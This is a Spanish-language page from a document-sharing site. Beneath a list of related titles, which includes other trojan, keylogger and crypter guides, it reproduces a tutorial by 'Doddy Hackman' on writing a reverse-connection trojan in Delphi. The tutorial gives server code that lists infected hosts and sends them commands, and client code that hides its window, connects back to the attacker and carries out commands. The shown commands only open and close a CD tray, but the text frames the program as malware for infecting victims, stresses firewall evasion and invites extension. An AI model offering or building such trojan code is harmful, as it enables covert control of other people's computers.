[Titulo] : Creacion de un Troyano de Conexion Inversa. [Lenguaje] : Delphi [Autor] : Doddy Hackman. [Temario]



Documentos relacionados
[Titulo] : Creacion de un Troyano de Conexion Inversa [Lenguaje] : C# [Autor] : Doddy Hackman. [Temario]

Como hacer un troyano en Visual Basic 6.0

Ambos paquetes simplifican mucho la instalación del servidor en el equipo. Y ambos pueden ser utilizados para la creación de una red intra-aula.

Manual de configuración de Outlook 2010 ÍNDICE

Acá vamos a ocuparnos de cómo realizar la instalación de una red intra-aula sobre Linux, concretamente en la distribución de GNU/Linux Ubuntu 9.04.

Instalación del sistema PC Cliente al Servidor Revisión: 10/9/2014

Manual Conexión Glop en Red. Cómo conectar dos o más Glop en Red con una licencia para varios puestos.

HOW TO SOBRE REMOTE ACCESS VPN MODE EN LINUX

Manual de configuración de Thunderbird ÍNDICE

Publicar una página Web en el servidor de IIS

Asignar permisos a usuarios de Active Directory en una carpeta compartida.

2. Seleccione OneDrive en la parte superior de los sitios de SharePoint u Office 365 de su organización.

Ubuntu Server HOW TO : SERVIDOR VPN. EN ESTE SE REALIZA LO SIGUIENTE: En este how to se le va a enseñar como usar vpn. Qué es una VPN?

CITRIX Citrix Application Streaming

Diseño visual. Creacion de un modulo para la API

Laboratorio de Redes y Sistemas Operativos Trabajo Práctico Final

Filezilla. Cliente FTP para Windows

Administrar El Usuario Mediante Windows NT

MANUAL PARA GESTIÓN DE INCIDENCIAS INFORMÁTICAS

Aplicaciones Cliente/Servidor en Gambas Prof: Mileti, P.

Apéndice 5 Manual de usuario de ColeXión. ColeXión 1.0. Manual de usuario

5004H101 Ed. 02. Instrucciones de Instalación del software AKO-5004

Servicio de VPN de la Universidad de Salamanca

Página Personal. Cómo guardar mi página personal con FileZilla

Guía para publicar su Página Web

6.- Este software se instalara como una versión Demo con una duración de 25 días de uso. En el código de validación, se dejara la palabra Demo.

Curso de PHP con MySQL Gratis

Práctica GESTIÓN Y UTILIZACIÓN DE REDES LOCALES. Curso 2001/2002. TCP/IP: protocolo TCP


INSTALACIÓN DE MICROSOFT ISA SERVER 2006 Y CONFIGURACIÓN DE ACCESO VPN POR MEDIO DE POINT-TO-POINT TUNNELING PROTOCOL

Instituto Tecnológico Las Américas (ITLA) Sistemas Operativos 3 (SO3) Daniel Alejandro Moreno Martínez. Matrícula:

Explotación de Sistemas Informáticos IES Murgi PRÁCTICA 9: SERVICIO WEB Y FTP DE INTERNET INFORMATION SERVICE

INSTALACIÓN Y CONFIGURACION DNS WINDOWS SERVER 2003

Guía para publicar su equipo en Internet.

[Titulo] : Creacion de un Keylogger [Lenguaje] : C# [Autor] : Doddy Hackman. [Temario]

Empezamos abriendo el ClonyXXL que nos mostrara la ventana de abajo:

11 Conexión a base de datos.

Manual Configuración GlopDroid. Configuración del módulo GlopDroid para toma de comandas en tablets, móviles y tpv Android.

SUBIR ARCHIVOS CON FTP. TRABAJAR EN UN SERVIDOR REMOTO. CREAR UNA PÁGINA WEB CON PROGRAMACIÓN PHP. (CU00814B)

AGREGAR UN EQUIPO A UNA RED Y COMPARTIR ARCHIVOS CON WINDOWS 7

TUTORIAL PRÁCTICO DE BASES DE DATOS EN ACCESS CREAR UNA AGENDA

En este caso presionamos ENTER para empezar nuestra instalación

INSTALACIÓN DEL ENTORNO DE DESARROLLO PARA EL LENGUAJE DE PROGRAMACIÓN JAVA

Descarga e instalación de Visual Basic. Entorno de programación (IDE). Visual Studio (CU00304A)

Tutorial de herramientas de Google

Manual de Instalación y uso de FTP

COBHTTPD Tutorial COBHTTPD. Servidor de Aplicaciones para COBOL. Tutorial Ver Page - 1 -

CUADERNIA 2.0. CÓMO INSTALAR CUADERNIA 2.0 Para instalar Cuadernia debemos seguir los siguientes pasos:

SmartFTP. Esta es la guía paso a paso para crear en SmartFTP tu cuenta FTP:

Pasos para instalar y configurar Microsoft SQL Server 2000.

Tenemos que instalar los programas de los usuarios también (los anteriormente mencionados) y los siguientes que vamos a nombrar.

[Titulo] : Creacion de un Crypter [Lenguaje] : Delphi [Autor] : Doddy Hackman. [Temario]

Ubuntu Server HOW TO : SQUID. EN ESTE SE REALIZA LO SIGUIENTE: En este how to se le va a enseñar como instalar servidor proxi Squid.

Es un entorno de desarrollo web que nos va a permitir tener nuestro propio servidor o host local (instalado en nuestro ordenador).

Bueno como hay mucha gente que no sabe como configurar bien la red manualmente, he decidido hacer este pequeño manual

Usar Epoptes en Huayra

Taller de capacitación en la Ventana Única de Transparencia (VUT) Enfoque práctico

Instalación Joomla. Instrucciones para instalar Joomla en un pc en la red local del instituto, o en un servidor en Internet

Instalación de DRIVER de mochila

PREPARANDO EL ENTORNO DE DESARROLLO PARA PROGRAMAR EN PHP. DESCARGAR E INSTALAR NOTEPAD++ (CU00808B)

CATIE Manual de Administrador

Configuración en Red

Paso 2 Una vez se ha completado la instalación y ejecutado el programa, veremos esto

Como montar un servidor web + Anonimización con Tor

Presentación. Nombre: Marcel Yerobis Pérez de la cruz Matricula: Trabajo: Profesor: José Doñe. Asignatura: Sistema 3.

ZILOG DEVELOPER STUDIO

TEMA 4: CORREO ELECTRÓNICO: OUTLOOK 2007 CORREO ELECTRÓNICO: OUTLOOK EJECUTAR EL ENTORNO DE TRABAJO GESTIÓN DE CORREO ELECTRÓNICO 3

Guía de Instalación. Instalación rápida de la Consola Maestra de VEO y el Agente Remoto para los Usuarios

Guía no. 691 instalación del sistema de bancos en red

INSTALACION DEL Terminal Services. Instalamos el Terminal Services. Siguiente. Nos saldrá una advertencia, seleccionamos instalar.

ÍNDICE INDICE. MANUAL WinPoET. Manual de formularios en Manual WinPoET

Nota: Se puede tener un acceso directo definido o podemos entrar a través de la

TUTORIAL SOBRE CÓMO CREAR Y GESTIONAR UN BLOG CON BLOGGER

Fundamentos CAPÍTULO 1. Contenido

HOW TO SOBRE FIREWALL

Objetivo: Introducción conceptual y aplicación básica de los lenguajes del lado del servidor.

MANUAL CONFIGURACION SIPTAR Y ADAPTADOR VOIP

Servidor web E-Sniper

HOW TO SOBRE LA CREACION DE UNA DISTRIBUCION PERSONALIZADA DE LINUX

Manual para la instalación del cliente de correo electrónico Mozilla Thunderbird.

Manual de Instalación

ASP.NET. Escuela de Ingeniería en Computación. Lic. José Mauricio Flores Avilés

Configuración de PDAs en ITACTIL.

GUIA DE LABORATORIO 06. Sitios Web Administrables con Joomla

Uso de Visual C++ Pre-Practica No. 3

RPC sobre HTTPS

Servicio de acceso y control remoto SSH. carlos victoria casanova

Esta extensión está obsoleta a partir de PHP 5.5.0, y será eliminada en el futuro

Ficheros de configuración de Nagios (ejemplo con nrpe y snmp)

IDENTIFICACIÓN DE LA ACTIVIDAD PEDAGÓGICA

Acceso a Internet con Windows 95

Instalación del Admin CFDI

Manual de Configuración del nuevo servicio de correo electrónico.

eserver TERATRONIX SA DE CV Tel: +52(33) , Tel/Fax: +52(33)

Presentación. Nombre: Marcel Yerobis Pérez de la cruz Matricula: Trabajo: Profesor: José Doñe Asignatura: Sistema III.

Crea tu propio negocio online con

Windows XP - Antes de instalar - Importante

Guía inicial para Control de Ingreso. Agregar personal al programa

Transcripción:

[Titulo] : Creacion de un Troyano de Conexion Inversa [Lenguaje] : Delphi [Autor] : Doddy Hackman [Temario] -- =================-------- 0x01 : Introduccion 0x02 : Creacion del servidor 0x03 : Creacion del cliente 0x04 : Probando el programa -- =================--------

0x01 : Introduccion Hola voy a empezar este corto manual sobre como hacer un troyano de conexion inversa en delphi 2010, un troyano teoricamente es un software malicioso que sirve para entrar en la computadora de la persona a la que quieren infectar. En este caso vamos a hacer uno de conexion inversa, tradicionalmente se hacian troyanos de conexion directa donde el infectado se convertia en servidor abriendo un puerto para que el atacante puediera entrar simplemente con una conexion por sockets, pero la onda de ahora es la conexion inversa donde el atacante se convierte en el pobre servidor para que las victimas se conecten a nosotros, lo bueno de la conexion inversa es que a la maquina infectada no le va a saltar el firewall cosa que siempre pasa cuando el infectado recibe el amable cartelito de que si quiere desbloquear un misterioso puerto xdd. Para esto vamos a necesitar usar los componentes ServerSocket y ClientSocket que tiene delphi. Para instarlo tenemos que ir a Menu -> components -> install packages En el menu que les aparece busquen el directorio Archivos de programa -> Embarcadero -> Rad Studio -> 7.0 -> bin -> dclsockets70.bpl Y listo una vez cargado el archivo bpl les va aparecer en la paleta de internet los componentes ServerSocket y ClientSocket. Antes de comenzar debemos entender que el servidor seremos nosotros osea el atacante y el cliente la victima, no se vayan a confundir y pensarlo al reves xdd.

0x02 : Creacion del servidor Primero vamos a crear el servidor, para eso vamos a File->New->VCL Forms Application como lo hice en la imagen : Para hacer el formulario decente tenemos que agregar lo siguiente. [+] 1 ListBox [+] 2 botones [+] 1 Edit [+] 1 ServerSocket (lo ponemos en true para que este activo ) Tiene que quedar como esta imagen. Una vez hecho elegimos cualquiera de los dos botones con el fin de usarlo para refrescar el listbox con las conexiones activas, entonces hacemos doble click en el boton que elegimos como "Refresh"

y ponemos el siguiente codigo. procedure TForm1.Button1Click(Sender: TObject); var lugar: integer; // Declaramos la variable lugar como entero ListBox1.Clear; // Limpiamos el contenido de ListBox for lugar := 0 To ServerSocket1.Socket.ActiveConnections - 1 do // Listamos las conexiones que // hay en el server ListBox1.Items.add(ServerSocket1.Socket.Connections[lugar].Remote Host); // Agregamos al ListBox // el host del infectado // conectado Tiene que quedar como en la siguiente imagen.

Entonces pasamos al siguiente boton que lo vamos usar para mandar los comandos al pc infectado, entonces hacemos doble click en el segundo boton y pegamos el siguiente codigo comentado. procedure TForm1.Button2Click(Sender: TObject); ServerSocket1.Socket.Connections[ListBox1.Itemindex].SendText(Edit 1.Text); // Mandamos el comando // al pc infectado que // seleccionamos en el // ListBox Una imagen de como deberia quedar el codigo.

0x03 : Creacion del cliente Ahora pasamos al cliente. Lo unico que debemos agregar es el componente ClientSocket al formulario. Entonces vamos al evento OnCreate del formulario central y pegamos el siguiente codigo. procedure TForm1.FormCreate(Sender: TObject); ClientSocket1.Host := '127.0.0.1'; // Establecemos el host con valor de nuestro ip local ClientSocket1.Port := 666; // Establecemos el puerto que sera 666 ClientSocket1.Open; // Iniciamos la conexion con el servidor Application.ShowMainForm := False; // Ocultamos el formulario para que no se vea la ventana Despues de esto vamos al evento OnRead del componente ClientSocket y copiamos el siguiente codigo comentado. procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket); var code: string; // Tenemos que agregar 'uses MMSystem' al inicio del codigo para poder abrir y cerrar la lectora code := Socket.ReceiveText; // Capturamos el contenido del socket en la variable code if (Pos('opencd', code) > 0) then // Si encontramos opencd en el codigo... mcisendstring('set cdaudio door open wait', nil, 0, handle); // Usamos mcisendstring para abrir // la lectora if (Pos('closecd', code) > 0) then // Si encontramos closecd en la variable code...

mcisendstring('set cdaudio door closed wait', nil, 0, handle); // Cerramos la lectora usando // mcisendstring Una imagen de como deberia quedar el codigo.

0x04 : Probando el programa El codigo resulto mas sencillo de lo que esperaba ya que gracias a los eventos lo hice a todo en 5 minutos, entonces vamos y cargamos los ejecutables primero el servidor y despues el cliente. Entonces si hicieron todo bien veran que se cargo en el listbox el servidor de una victima que en este caso seria localhost, entonces seleccionamos localhost del listbox y le hacemos click, entonces vamos a usar los dos comandos disponibles que son "opencd" y "closecd". Los comandos disponibles solo sirven para abrir y cerrar la lectora pero se pueden hacer muchas cosas solo es cuestion de imaginacion, una idea graciosa seria cargar el word y que le escriba solo, de hecho ya hice eso en mi DH Botnet que esta hecha en Perl y PHP. Les muestro una imagen de como seria todo. Ya llegamos al final de este corto manual pero les aviso que pronto se viene mi primer troyano de conexion inversa en Delphi. --========-- The End? --========--